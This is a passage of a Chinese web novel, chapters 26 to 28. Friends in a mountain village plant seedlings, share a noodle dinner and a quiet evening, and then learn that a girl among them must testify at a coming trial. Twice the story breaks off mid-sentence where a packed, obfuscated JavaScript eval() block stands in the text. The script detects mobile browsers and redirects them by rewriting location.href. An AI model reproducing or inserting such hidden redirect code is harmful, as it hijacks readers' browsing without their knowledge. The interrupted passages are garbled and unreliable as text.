“不用谢。”傅拭雪说完,转身回去继续种苗,嘴角却有一点点弧度。 远处传来夏叙言的大嗓门,“你们那边怎么了?我听见有人在喊什么出来出来的!” 沈摘星回头喊了一嗓子,“没事!就是砚修哥哥的鞋里进了一条蚯蚓!” “什么?!”夏叙言的声音更大了,“蚯蚓进鞋里了??怎么进去的??” “它自己爬进去的!” 那边沉默了两秒,然后传来一阵爆笑,笑得比李乘歌还夸张。是夏叙言和沈摘星一起笑的声音,隔着半个大棚都能听见。 傅砚修站在原地,脸上红一阵白一阵。 他低头看了看自己的鞋,又看了看那条蚯蚓钻进去的土,忽然觉得自己好像也没那么怕。 至少以后不会了。 他深吸一口气,走回自己的垄沟,蹲下去,继续用手扒坑。 宋鹤眠举着手机走过来,镜头对着他,“采访一下,当事人现在是什么感受?” 傅砚修头也不抬,继续扒坑。 “还在生气?” 他扒坑的动作顿了一下,然后继续。 “刚才那段我发在群里了啊。”宋鹤眠将脑袋探到他身前。 傅砚修猛地抬头。 宋鹤眠已经笑着跑开了,手机还举着,屏幕里是傅砚修那张震惊的脸。 “宋鹤眠!!” 阳光洒下来,大棚里笑声混着锄头落地的闷响,还有远处夏叙言和沈摘星的笑声,闹得不行。 傅拭雪蹲在自己的垄沟边,慢条斯理地种着苗,嘴角那个弧度一直没下去。 26. 面条 劳累了一整天,番茄苗和葡萄苗全数被种下。 傍晚时分,夕阳像个巨大的咸蛋黄,缓缓沉入远山的怀抱,将天空染成层次丰富的暖色调,橘红、金粉、淡紫……温柔地笼罩着小小的山村和山坡上那些新生的绿色。 “啊——!”将最后一颗菜苗种下,夏叙言直起腰,冲天喊了一声,“终于结束了,我的腰啊……” 他喊得太用力,惊起不远处树梢上一群麻雀,扑棱棱飞走了。 傅拭雪从大棚那头走过来,扫了一眼大家,确定没人落东西,才开口,“走吧,回去做饭。” 一行人拖着疲惫的身子往回走,锄头扛在肩上,在夕阳里拉出长长的影子。 回到小院,傅拭雪走到两人身旁,拍了拍他们的肩膀。 “夏叙言,傅砚修,二伯那我已经打过招呼了,你们摘些豆角回来,顺便看看有没有土豆,刨几个回来。” “得嘞!”夏叙言应了一声,拉着傅砚修就走。 傅砚修被他拽得踉跄了一下,手里的篮子差点掉地上。 二伯家的菜地在院子后面,不大,但收拾得整整齐齐,豆角被养在棚里,里面的温度适宜。豆角架子搭得高高的,翠绿的豆角垂下来,一串一串,看着就喜人。 傅砚修撸起袖子好奇走上前,一把揪住一根豆角,用力一拽。 藤蔓晃了晃,豆角没下来。 他又拽了一下,还是没下来。 夏叙言蹲在旁边,看着他那副跟豆角较劲的样子,沉默了两秒。 “你倒是找对地方再拽。” “我知道!” “那你拽的是藤。” 傅砚修低头一看。 是吗? 他讪讪地松开手,然后找到豆角根部,轻轻一掐,豆角乖乖落在手里。 夏叙言没说话,只是嘴角动了动,然后蹲到另一排架子前,开始摘。 他的动作很慢,很仔细,每摘一根都要看一眼,确认是老还是嫩,然后在心里默默分类。 摘了十几根,他忽然问,“老的放哪边?” 傅砚修头也不抬,“老的不要。” 夏叙言看着手里那根稍微有点老的豆角,沉默了一秒,然后把它放进旁边的筐里。 傅砚修回头看见,愣了一下,“不是说了老的不要吗?” “可以挑出来炒别的。”夏叙言说,“不要浪费。” 傅砚修看着他,“行吧,那你负责挑,我负责摘。” 两人一个摘一个挑,效率倒是挺高。 摘完豆角,夏叙言拎起锄头,走向旁边的土豆地。 “土豆怎么刨?”傅砚修跟过来。 “看着。”夏叙言举起锄头,往土里一刨,再一撬,几颗圆滚滚的土豆从土里滚出来,沾着泥,看着特别喜人。 他捡起来,在手上掂了掂,递给傅砚修,“拿去,够吃一顿了。” 傅砚修接过来,低头看着那几颗沾满泥土的土豆,忽然问,“怎么知道下面有土豆?” 夏叙言指了指地面,“你看,土裂开了,说明下面有东西。” 傅砚修蹲下去,仔细看了看那道裂缝,点点头。 - 院子里,熟悉的炊烟准时袅袅升起,混合着柴火特有的香气。 李乘歌已经开始和面了,沈摘星蹲在旁边,一边看着,一边加水。 面团在李乘歌手下慢慢变得光滑,揉了十几分钟,面团终于光滑了。 李乘歌把它放在盆里,盖上湿布,让它醒一会儿。 又过了十分钟,李乘歌掀开湿布,把面团拿出来。案板上撒了薄薄一层面粉,面团放上去,开始擀。擀面杖在她手里滚动,面团慢慢变大变薄,变成一张圆圆的大饼。 沈摘星撸起袖子,将擀好的面饼切成均匀的面条。 等所有的面条都做好,沈摘星又往上面覆上一层面粉,“好了。” 傅拭雪在灶台前忙活,李乘歌端着切好的面条走过来,站在旁边看着。 傅拭雪将五花肉切薄片,下锅煸炒,油脂慢慢逼出来,滋滋作响,香气飘满整个院子。 院子里传来夏叙言的声音,“豆角摘回来了!土豆也刨了!快夸我!” 傅砚修也不甘落下,“我也摘了不少,也要夸夸。” “先夸我!” “先夸我!” 两个人吵着吵着,声音越来越近。 傅拭雪接过两人手中的竹篮,豆角清洗后掐成段,倒进去翻炒,变色后加水,盖上锅盖焖。 这边焖着,傅拭雪也没有空下来,他给土豆去皮然后切成段状。 豆角焖了十分钟,李乘歌走到灶旁,“差不多可以放面了。” 傅拭雪点点头,掀开锅盖,把面条均匀地铺在豆角上面,放上土豆再盖上锅盖,调小火。 “等汤汁收干就行。”他擦了擦手,转头看她。 李乘歌靠在灶台边,夕阳从窗户照进来,落在她侧脸上。 又过了十五分钟。 傅拭雪掀开锅盖看了一眼,汤汁收得差不多了,面条吸饱了汤汁,油亮亮的,香味扑鼻。 “好了。”他说,“叫大家吃饭。” 李乘歌走到门口,对着院子里喊了一声,“吃饭啦——” 其余四个人已经在桌边坐好了,李乘歌把碗筷摆好,傅拭雪端着一大锅豆角焖面走出来,放在桌子中央。 “二、四、六……齐了,吃饭!” 大家围坐在院子里的长木桌旁,头顶是尚未完全暗下来梦幻般的渐变色天幕。 桌上的粗陶碗盘冒着诱人的白色热气,香气霸道地弥漫开来,与傍晚清凉的空气混合,勾得人饥肠辘辘,味蕾苏醒。 夏叙言第一个拿起筷子,“我开动了!” 沈摘星也拿起筷子,夹了一根面条,吹了吹,小心地送进嘴里。 “好吃!”她眼睛亮了。 傅砚修低头看了看自己碗里的面条,又看了看那盘豆角。 今日晚餐——豆角焖面。 评价——好吃。 宋鹤眠夹了一筷子,尝了尝,点点头,“豆角掐得刚好。” 傅砚修抬眸看着她,嘴角不自觉上扬。 夕阳慢慢沉下去,院子里灯光亮起来,碗筷声、说话声、笑声混在一起。 累了一整天,但这一顿饭,吃得格外香。 沈摘星小口吃着面,被一小粒辣椒呛到,小脸立刻皱成一团,吐着舌头,眼眶泛红,手忙脚乱地找水喝,那模样又可怜又可爱,逗得大家忍俊不禁。 夏叙言拍拍她的背,“慢慢喝,别呛到了。” 等沈摘星顺过来之后,他才低头继续吃起来。 傅砚修对这碗点名要的豆角焖面显然极其满意,吃得很专注,吃得额角冒汗,嘴角不小心沾了深色的酱汁也浑然不觉。那种全然沉浸在食物中的满足感,让他看起来格外真实,看来是真的饿了。 傅拭雪不怎么说话,但眼神始终照顾着全场,不时用公筷给大家添菜,把肉多的部分自然地夹到李乘歌和沈摘星碗里,把豆角多的夹给傅砚修和夏叙言。 李乘歌坐在其中,握着筷子,脸上带着温柔的笑意,看着大家狼吞虎咽,偶尔和身边的宋鹤眠低声交换一句话,或是提醒沈摘星慢点吃小心烫。 她的目光静静地扫过桌上每一张生动的脸,观察着这些鲜活无比细节。 夏叙言因从傅砚修那里抢肉成功而扬起的带着孩子气得意的眉毛。 傅砚修歪头看着夏叙言,抿着唇,脸颊鼓起小小的包。 宋鹤眠安静地吃着饭,目光却时不时落在傅砚修那个鼓起的腮帮子上。她看了一会儿,忽然伸出手,用筷子的另一头轻轻戳了一下那个小包。 傅砚修愣了一下,抬头看她。 “鼓得挺好玩的。”宋鹤眠面不改色,继续吃饭。 傅砚修的脸腾地红了。 夏叙言在旁边笑出了猪叫。 傅拭雪不怎么说话,但眼神始终照顾着全场。 沈摘星的汤碗快见底了,他伸手把汤盆往她那边挪了挪。夏叙言只顾着抢肉,他夹了一筷子青菜放进夏叙言碗里,什么也没说。 傅砚修那个鼓起的腮帮子刚消下去,他看了一眼,嘴角动了动,把自己碗里最后一块排骨夹了过去。 轮到自己的时候,他刚夹起一筷子豆角,看碗里已经满了。他顿了一下,把那筷子豆角放进了自己碗里。 李乘歌都看见了,她舀勺喝汤,假装没看见,但嘴角弯了弯。 不知何时开始,小院里鲜活的画面成了生活中的常态,这是以前的她从来没有想到过的。 看着看着,一股陌生而温热的情绪,毫无预兆地从心底丝丝缕缕地渗透出来,悄无声息地向上蔓延,浸润了她的眼眶和鼻尖,带来一阵微微令人心悸却又无比柔软的酸涩感。 并不难受,反而有种奇异的充盈。 她眼眶猛然一热,瞬间泛起湿润的红色。 她立刻仓促地低下头,避开可能投来的目光,借着喝汤的动作,掩饰性地轻轻吸了吸有些发酸的鼻尖,让那突如其来酸涩不至于凝聚滴下来。 然后,她迅速而安静地将视线挪回自己面前的粗陶碗里,盯着那几根浸透了肉汁的豆角和裹着浓稠酱汁的面条。 怎么会呢? 怎么会连这样平平淡淡、嘈杂混乱、毫无精致可言的一顿饭,连这些琐碎到不值一提的日常片段……都让人觉得温暖。 心里某个一直空落落、冷冰冰、绷得紧紧的地方,像被温泉缓缓注入,被阳光静静晒暖,被这些真实的笑语和关怀填得满满的,暖融融的,胀胀的。 这么……踏实。 这么……幸福。 “这么哭了。”傅拭雪放下碗,走到她身边。 他的声音不大,但桌上所有人都停下了动作。 李乘歌愣了一下,抬起头,眼眶还红着,睫毛上挂着没来得及擦掉的泪珠。她看着傅拭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310835|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪那张写满紧张的脸,忽然意识到自己刚才那点情绪被他看见了。 “没、没有……”她下意识抬手去擦,手指沾了面粉,越擦越花。 傅拭雪蹲在她面前,从口袋里掏出那张皱巴巴的纸巾。 还是下午她塞给他的那张。 然后轻轻按在她眼角。 动作很轻,像怕弄疼她。 李乘歌愣住。 他就那么蹲着,微微倾身,用那点干净的纸巾,把她睫毛上还挂着的那颗泪珠吸掉。然后往下,把她脸颊上被面粉蹭花的地方蹭了蹭,蹭不干净,他也不急,就那么一下一下地擦着。 她就这样看他。 他正看着她,眼神里没有追问,没有担忧过度,只是很安静地看着。 旁边,夏叙言筷子停在半空,询问,“是不是辣椒太辣了?” 沈摘星赶紧把自己的水杯推过来,“乘歌姐姐喝水!” 宋鹤眠没说话,只是把那碟纸巾往李乘歌手边又推了推。 李乘歌看着这一桌子人,忽然笑了。 笑得眼眶又红了。 “没事。”她吸了吸鼻子,声音还有点哑,“感性了一下。” “?????” 投来的五双眸里都充满了疑问,夏叙言筷子举在半空,目光投过去。沈摘星歪着脑袋,眼睛里全是不解。傅砚修抬起头,眉头微微皱着,像是在脑子里搜索这个词的准确定义,宋鹤眠难得没有移开视线,就那么安静地看着她。 傅拭雪已经坐回位置,看着她。 “想到了什么?”他问,声音不高。 李乘歌的目光从一张脸移到另一张脸上,夏叙言和沈摘星乖巧地等着,傅砚修虽然没说话,但耳朵竖着,分明在认真听。宋鹤眠端着碗,嘴角那点弧度淡淡的,像是在等一个答案。傅拭雪坐在她对面,眼神安静,不急不躁。 她忽然觉得,这个问题好像不用回答。 但话已经出到了嘴边。 “我向往的生活,”她顿了顿,目光又扫过这一桌人,“大概就是……这样吧。” “有彼此照顾的人在身边,有可以毫无负担说笑打闹、分享琐碎的朋友围绕,有一份能为之忙碌、付出汗水也收获果实的具体事情,感到自己被需要,也在实实在在地付出。” “每天会为一些具体而微的小事烦恼、劳累、甚至抱怨。比如天气突变,比如活儿太重腰酸背痛,比如饭做少了不够吃,比如手上磨出了恼人的水泡,但总会在不经意间,被某些微小却温暖的瞬间悄然治愈。” “可能是一句随口而出却真诚无比的关心,一个默契到不需言说的理解眼神,一碗恰好对了胃口的热饭,一片偶然抬头看见的绚烂晚霞,一颗在清澈夜空中显得特别亮的的星星。” “或者,就仅仅是像此刻这样,经过一整天的辛苦劳作后,大家围坐一起,吃着简单的饭菜,说着无意义的闲话,身体疲惫,心里却满满当当的这份踏实与安宁。” “日复一日,年复一年。体会过收获的喜悦也必然体会过耕耘的艰辛,经历过短暂的相聚也终须面对或长或短的别离,品味过生活的清甜也定然咽下过它的苦涩。” “然后,在所有这些真实而复杂、平凡却珍贵的滋味里,慢慢地、努力地、有时踉跄有时坚定地生活着,前行着,最终,在时光中渐渐沉淀。” 这个认知,如此简单,近乎直白,没有什么深奥的哲理,却又如此沉重,如此令人心向往之,仿佛为她打开了一扇通往另一种真实世界的门。 门外不再是冰冷的数据、精密的算计和永无止境的竞争,而是有温度的土地、有汗水的生活、有烟火气的人间。 她轻轻放下汤勺,瓷质的勺子与粗糙的碗沿碰撞,发出细微的叮一声轻响,却和谐地融入了此刻院子里温暖嘈杂充满生活气息的声浪里。 夏叙言响亮的耍宝声、沈摘星被逗笑的清脆声音、傅砚修偶尔憋不住漏出的气音、宋鹤眠极轻的鼻音、傅拭雪低沉的应答……成为这曲生活交响乐中一个不起眼却不可或缺的音符。 李乘歌抬起头,目光再次缓缓地扫过桌上每一张或疲惫、或满足、或欢笑、或平静的脸,仿佛要将这一幕刻入心底。 然后,她望向远处,那里,最后一抹瑰丽的晚霞正沉入黛色山峦的怀抱,取而代之的,是星光开始璀璨的夜空。 山风轻柔地吹过,带来了新栽树苗叶片摩擦的细微声响,带来了泥土被浇灌后的湿润气息,也带来了某种崭新而踏实的东西,悄然落在心间。 日子还长,活计一件件做,总有做完的时候,也总有新的开始。 这种酸涩她并不排斥,甚至她还很愿意去感受去体会。 怎么会连平平淡淡的吃饭也这么幸福。 一个清晰而朴素的定义,忽然毫无征兆却清晰地划过她的脑海,像寂静夜空中一颗骤然划过的流星,虽然短暂,却照亮了心底某些长久以来的迷惘与荒芜。 因为生活啊,是一个动词。 27. 通知 而此刻,这个动词的释义大概是—— 吃饱了,还在一起。 吃完饭,夏叙言主动揽下了洗碗的活。 “今天你们都辛苦了,我来我来!”他撸起袖子,把碗筷摞在一起,端到井边。 沈摘星跟过去帮忙,两个人蹲在井边,一个洗一个冲,水花溅得到处都是。 夏叙言故意往她那边甩水,沈摘星尖叫着躲开,然后捧了一捧水泼回去。 “夏叙言!” “哈哈哈哈哈哈哈哈!” 两个人闹成一团,笑声比水花还溅得远。 傅砚修坐在石凳上,抬头看了看月亮,像是在思考什么。 宋鹤眠走过去,在他旁边坐下,“手拿出来。” 傅砚修转头,愣了一下,“嗯?” 宋鹤眠没说话,只是从身后拿出消毒棉球和干净的布巾。 吃饭的时候她就注意到了,他两只手都蹭破了皮,可能是在地里干活时弄的,自己都不在乎。 傅砚修低头看了看自己的手,又看了看她手里的东西,下意识把手往后缩了缩。 “没事,小口子。” 宋鹤眠没理他,直接把他的手拉过来,动作很轻,但不容拒绝。 棉球按上去的时候,傅砚修轻轻吸了口气,眉毛皱了皱,但没抽回去。 宋鹤眠低着头,借着月光和远处透来的灯光,仔细地给他清理那道口子。棉球蘸着碘伏,一点点把上面的泥擦掉。 “疼吗?” “不疼。”傅砚修说。 话音刚落,她又按了一下,他嘴角动了动,改口,“……一点点。” 宋鹤眠嘴角弯了弯,没抬头,“疼了就说,你不说我怎么知道弄疼你了呢。” 旁边的水声和笑声还在继续,夏叙言和沈摘星不知道又在闹什么,水花溅得到处都是。但石凳这边,安静得像另一个世界。 傅砚修看着她,月光落在她低垂的侧脸上,把她平时的清冷照得柔和了一些。 他忽然不知道该说什么。 宋鹤眠把伤口清理干净,拿布巾包好,打了个结,动作利落得像做过很多次。 “好了。”她松开手,准备站起来。 “等等。” 宋鹤眠顿住,转头看他。 傅砚修低头看着手上那个整齐的结,抿了抿唇,憋出一句,“谢谢。” 宋鹤眠看了他一秒,然后站起来,“以后小心点。” 她转身往屋里走。 傅砚修看她走进屋子才抬起手,凑到月光下看了看。 白色的布条缠得规整,收尾处还特意留了个小环,方便拆的时候拉。 这种手法,要么是常年处理伤口练出来的,要么就是心思细到连这种小事都要做得妥帖。 他盯着那个结,指尖无意识地摩挲着边缘。 他想起刚才她低头的样子,睫毛垂下来,在眼睑上落一小片阴影,表情专注得像在做什么重要的事。 棉球擦过伤口的时候,动作很轻,轻到他几乎感觉不到疼。 只有碘伏按上去那一瞬间,有一点刺,但她问了“疼吗”之后,手上的动作好像又轻了一点。 那样的小心翼翼。 不像她平时的样子。 他认识的那个宋鹤眠,总是淡淡的,淡淡的说话,淡淡的吃饭,淡淡地坐在一边看月亮。 她像隔着一层什么东西,让人看不清,也猜不透。 可刚才那几分钟,那层东西好像薄了一点。 他看见了她低垂的睫毛,看见了她微微抿着的嘴唇,看见了她手指碰到他手心时那一点不易察觉的停顿。 都是很小的细节。 但他记住了。 傅砚修低头看着手上那个结,忽然想起刚认识她的时候。 那是五年前,宋家的一次宴会。 他还记得那个晚上,水晶吊灯晃得人眼花,觥筹交错间全是客套的笑脸。 他站在人群边缘,端着一杯没怎么喝的香槟,安静地观察着那些陌生的面孔。 那时候他还不姓傅,他是以京城另一家世家少爷身份出席的。 所有人都在打量他。 探究的、好奇的、不屑的,什么样的眼神都有。 但有一个人的眼神不一样。 她站在人群另一侧,穿着深色的长裙,端着一杯红酒。 隔着大半个厅堂,她的目光落在他身上,没有打量,没有探究,没有那些弯弯绕绕的东西。 就只是看着他。 直直地,毫不掩饰地看着他。 他当时想,这个人是谁?为什么这样看我? 后来他知道了。 她叫宋鹤眠。宋家的女儿。 后来渐渐不一样了,但具体什么时候开始不一样的,他说不上来。 京圈就这么大,宴会、酒会、拍卖会,抬头不见低头见,他总能看见她。 有时候隔着人群,有时候隔着几张桌子,有时候只是擦肩而过。 她从不主动上前搭话,但每次他看过去的时候,总能对上她的目光。 直直的,毫不掩饰。 像是在说:我知道你在看我。 他心里那点异样,就这么一点点积累下来。 像水滴在石头上,无声无息,但久了,总会留下痕迹。 直到那一天,她将自己桎梏在车身说,“被我盯上的猎物从来没有逃脱过。” 回忆到这里,他的耳根忽然烧起来,一股酥麻感从耳廓蔓延到喉结,他下意识滚动了一下喉结,却压不住那阵莫名的悸动。 她这是真心,还是手段? 这个问题在脑子里转了好几圈。 按理说,他应该怀疑的。 她是有目的的,这一点他一直都知道。 从第一次见面,她看他的眼神就不对。那种直直的、毫不掩饰的注视,像是在看一个早就被标记好的猎物。 后来他知道了她的身份,知道了她身后那些复杂的盘根错节,更确定了一件事,她接近他,不可能没有原因。 他见过太多带着目的靠近的人了。 那些笑容,那些关心,那些恰到好处的温柔,最后都会露出底下的算盘。 他早就学会了分辨,学会了防备,学会了在别人靠近之前先把距离拉开。 可她不一样。 她从不掩饰自己的目的。 她不装,不演,不搞那些弯弯绕绕。 她就是直直地看着他,直直地靠近,直直地把那句话扔在他面前。 没有甜言蜜语,没有刻意讨好,甚至没有一个像样的解释。 就那么一句话,砸过来。 让他连防备的力气都没有。 因为她没有给他需要防备的东西。 她不要他放下戒心,不要他卸下伪装,不要他变成另一个人。 她只是看着他,等着他。 要的只是他的动心。 傅砚修低头看着手上那个结,摩挲着指尖。 风从玉兰树那边吹过来,带着夜晚的凉意。 他低头看着那个结,忽然觉得心里有什么东西,松动了一下。 像一扇一直关着的门,被风吹开了一条缝。 不宽,就一条缝。 但已经有光透进来了。 他盯着那个结。 想了很久。 最后他把手放下来,另一只手覆上去,轻轻压了压。 那个结还在。 他没有拆。 灶房门口,李乘歌靠在门框上,看着院子里东一堆西一撮的人。 夏叙言和沈摘星还在井边闹,水花溅得到处都是,两个人的衣服都湿了半截,但谁也不肯先停手。 傅拭雪从灶房里走出来,在她身边站定。 两个人就那么站着,谁也没说话。 看了一会儿,李乘歌忽然开口,“你说,他们以后会记得今天吗?” 傅拭雪侧头看她,“记得什么?” “记得这顿饭。”李乘歌指了指院子里那些画面,“记得这些。” 傅拭雪顺着她的目光看过去。 夏叙言终于被沈摘星泼了一脸水,正甩着脑袋往后退。沈摘星得胜似的举着水瓢,笑得直不起腰。傅砚修被那边的动静吸引,抬起头看了一眼,宋鹤眠放好东西后坐到傅砚修身旁。 傅拭雪看了一会儿,“会吧。” 李乘歌转头看他。 他正看着她,眼神安静,“至少我会。” 李乘歌愣了一下。 风从院子里穿过来,带着夜晚的凉意和夏叙言他们的笑声。 她忽然不知道该说什么。 傅拭雪也没再说话。 两个人就那么站着,看着院子里那些闹腾的人,看着灯光把他们的影子拉得长长的,看着月亮慢慢升到玉兰树顶上。 过了很久,李乘歌轻轻“嗯”了一声。 傅拭雪嘴角动了动。 夜深了。 沈摘星第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310836|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个困了,脑袋一点一点的,被夏叙言催着去睡觉。 傅砚修站起来活动了一下脖子,也往屋里走。走了两步,又回头看了一眼还坐在石凳上的宋鹤眠。 “你不睡?” 宋鹤眠摇摇头,“再坐会儿。” 傅砚修点点头,进去了。 院子里慢慢安静下来。 李乘歌从灶房门口走过来,在宋鹤眠旁边坐下。 两个人都没说话,就那么坐着,看月亮。 过了好一会儿,宋鹤眠忽然开口,“你刚才说的那些……向往的生活。” 李乘歌转头看她。 宋鹤眠顿了顿,像是在想怎么措辞。 “我以前觉得,这些东西离我很远。”她说,声音很轻,“远的像月亮。” 李乘歌没接话,只是听着。 “但现在。”宋鹤眠看着月亮,嘴角动了动,“好像也没那么远了。” 李乘歌看着她。 月光落在宋鹤眠脸上,把她一贯清冷的轮廓照得柔和了一些。 “挺好的。”李乘歌说。 宋鹤眠转头看她。 “你也是其中一部分。”李乘歌笑了笑,“这生活。” 宋鹤眠愣了一下。 然后她移开目光,继续看月亮。 过了几秒,轻轻“嗯”了一声。 屋里,傅砚修躺在那张小床上,盯着天花板发呆。 隔壁床,夏叙言已经打起了呼噜。 再隔壁,傅拭雪的床空着。 傅砚修翻了个身,窗外透进来的月光落在枕边,刚好照在他手上。他侧躺着,那只包着布巾的手就放在眼前,白色的结在月光里格外显眼。 他没动,就那么盯着那个结看。 他盯着那个结看了很久。 久到月光移了一点位置,久到隔壁床夏叙言的呼噜声都变得绵长。 然后他翻了个身,闭上眼睛。 手还放在枕边,那个结贴着虎口,随着心跳一下一下地轻轻蹭着。 窗外,月光静静地洒着。 院子里,两个看月亮的人还坐在那儿。 风很轻,夜很深。 日子还长。 日子就这么过着,一天一天,琐碎又踏实。 六个人每天忙完田里的菜苗和果苗,回到院子里还有一堆事等着。 傅拭雪和李乘歌负责做饭,一个掌勺一个打下手,配合得越来越默契。 夏叙言和傅砚修被分配去喂鸡、摘菜、劈柴,两个人一个话多一个话少,凑在一起倒也没出过乱子。 宋鹤眠在辅导沈摘星功课,偶尔抬头看一圈院子里的热闹,嘴角就弯一下。 吃过晚饭,大家各干各的。 夏叙言拉着沈摘星在院子里打羽毛球,球经常飞进花坛里,然后两人又提溜提溜地跑去捡。 傅砚修坐在石凳上,看着电脑上的书籍,宋鹤眠有时候在他旁边坐着,有时候在院子里散步,两个人偶尔说几句话,两人的相处没了之前那样的冰冷。 李乘歌洗完碗,靠在灶房门口看院子里的人。 傅拭雪有时候在她旁边站着,有时候去给夏叙言他们捡球,有时候只是坐在石凳上,和她一起看。 日子就这么过着。 直到三天后的傍晚。 夕阳刚要往下沉,一辆电瓶车停在院门口。 汪小雅从车上下来,在院门前瞧了瞧几眼。 李乘歌正在院子里收衣服,看见她,手上的动作顿了一下。 “小雅姐?” 汪小雅点点头,往屋里看了一眼,“摘星在吗?” 李乘歌把手里的衣服搭在竹竿上,笑了笑,“在屋里写作业,我去叫她——” “不用。”汪小雅摆摆手,“我们进去说。” 李乘歌的笑意收了一点,她点点头,领着汪小雅往屋里走。 傅拭雪刚从灶房出来,手里还端着洗好的碗。看见来人,又看见李乘歌脸上那副表情,他没说话,只是把碗放在旁边的石桌上,擦了擦手,走到她身边站着。 屋里,沈摘星正趴在桌上写作业,听见动静抬起头。 看见汪小雅,她愣了一下,然后下意识站起来,手不知道往哪放,在衣角上蹭了蹭。 “汪阿姨……” 汪小雅走过去,在她对面坐下。她把公文包放在旁边,看着沈摘星的眼睛,语气比平时慢了几分,也轻了几分。 “摘星,你那事儿,下周开庭了。” 28. 开庭 沈摘星愣住,她张了张嘴,没发出声音。 李乘歌站在门口,看着那个小小的身影。 傅拭雪站在她身后,没说话,只是把手轻轻放在她肩上。 沈摘星手指攥着衣角,攥得指节发白,好一会儿没动。 屋里安静得能听见墙上老钟秒针走动的声音。 过了很久,她才抬起头,眼眶红了,但没有哭。 “那……”她声音有点抖,但努力稳住,“那我要去吗?” 汪小雅点点头,“需要你出庭。不过你放心,有律师陪着,该说什么说什么,不用怕。” 沈摘星抿着唇,又低下头去。 这次她没忍住,眼泪啪嗒掉在手背上。 她赶紧抬手去擦,结果越擦越多。 李乘歌走过去,在她旁边蹲下,握住她的手。 那只手很小,很凉,在她掌心里微微发抖。 “摘星。” 沈摘星抬起头,眼睛红红的,眼泪糊了一脸。 “乘歌姐姐……” “不怕。”李乘歌看着她,声音很轻,但很稳,“我们都在。” 沈摘星看着她,嘴唇动了动,没说出话来。 门口,夏叙言不知道什么时候走过来的,靠着门框站着,眼睛盯着屋里,脸上的笑全没了。傅砚修站在他旁边,就那么安静地站着。宋鹤眠站在更后面一点,靠在墙边,什么也没说,只是看着。 傅拭雪走出去,过了一会儿又回来,手里端着两杯水。他走到沈摘星和汪小雅面前,轻轻把水放在她们手边,什么也没说,转身又站回原来的位置。 汪小雅接过来,喝了一口,看了看这一屋子人,又看了看沈摘星。 “丫头。”她放下杯子,声音温和,但有力,“别怕,这案子,咱们有把握。” 沈摘星点点头,眼泪还在流,但她没出声。 夕阳从窗户照进来,落在她脸上,把那些眼泪照得亮晶晶的。 李乘歌握着她的手,没有松开。 院子里很安静。 只有远处偶尔传来几声鸡叫,和风吹过玉兰树的声音。 只有老钟还在走,滴答,滴答。 汪小雅送消息来得突然,走得也快。 她走之前又叮嘱了几句,说下周会有车来接,让沈摘星别紧张,该吃吃该睡睡。 是让她放心的意思。 电动车发动,突突突地开远了,扬起一阵尘土。 院子里重新安静下来。 沈摘星还坐在那儿,低着头,眼泪已经止住了,但眼眶还是红的。她盯着桌上那本摊开的作业本,不知道在看什么。 李乘歌蹲在她旁边,没说话,只是轻轻拍了拍她的背。 门口那几个人也没动。 夏叙言靠着门框,表情比刚才还僵。他张了张嘴,想说点什么,又不知道说什么好,最后只是挠了挠后脑勺,把自己挠得头发乱糟糟的。 傅砚修站在他旁边,就那么站着,眼睛看着屋里那个低着头的小小身影,嘴唇抿成一条线。宋鹤眠依旧靠在墙边,但她站直了一点。 傅拭雪送完汪小雅回来,在门口站了站,然后走进来,他没说什么安慰的话,只是把沈摘星面前那杯已经凉了的水拿走,换了一杯温的。 沈摘星抬起头,看了他一眼。 她声音哑哑的,但比刚才稳多了,“谢谢傅哥哥。” 傅拭雪点点头,没说话。 屋里又安静了几秒。 夏叙言走进来,在沈摘星旁边蹲下。 “你饿不饿?”他问,声音比平时低了一点,慢了一点,“我去给你煮碗面?” 沈摘星看着他,忽然笑了,笑得眼眶又红了,但嘴角是往上翘的。 “叙言哥哥。”她说,声音轻轻的,“你煮的面,我想尝尝。” 她顿了顿,像是在认真想一件事,然后抬起头看着他。 “但不是现在。”她说,“晚上吃,可以吗?” 夏叙言愣了一下,看着她那双红红的眼睛,看着她努力往上翘的嘴角,忽然觉得心里有什么东西软了一下, 他伸出手,轻轻揉了揉她的脑袋。那只手很大,很暖,落在她头上的时候,轻轻的,稳稳的。 “行。”他说,声音很轻,但很稳,“晚上给你煮。” 沈摘星点点头,眼眶还红着,但笑得更开了。 这一笑,屋里的气氛松了一点。 傅砚修慢慢挪进来,在离沈摘星两步远的地方站住。他低头看了看手机,又抬头看了看沈摘星,开口,“我刚才问了一下,那种案子,未成年人出庭的话,法庭会安排合适的方式,不用太紧张。” 傅砚修把手里的手机往她那边递了递。 沈摘星接过来,低头看了一眼。 屏屏幕上是一个聊天界面,对方头像是傅氏集团的logo。 傅砚修发的消息一条一条列着,每一条都很长,问得很细。 “未成年人出庭需要什么程序?” 对方回复,“根据法律规定,未成年人出庭可以申请不公开审理,法院通常会安排较为温和的询问方式。如果需要,我可以提前和法官沟通。” “法院会不会单独安排?能不能不让太多人看见?” 对方回复,“可以申请单独作证室,通过视频连线的方式,避免直接面对太多人,这个我有把握争取到。” “有没有什么方式可以让她不那么紧张?” 对方回复,“开庭前可以陪她过一遍流程,告诉她每一步会发生什么。法院那边也可以申请安排社工陪同。另外,如果她有信任的成年人陪同,也可以提出申请。” “需要提前准备什么材料吗?” 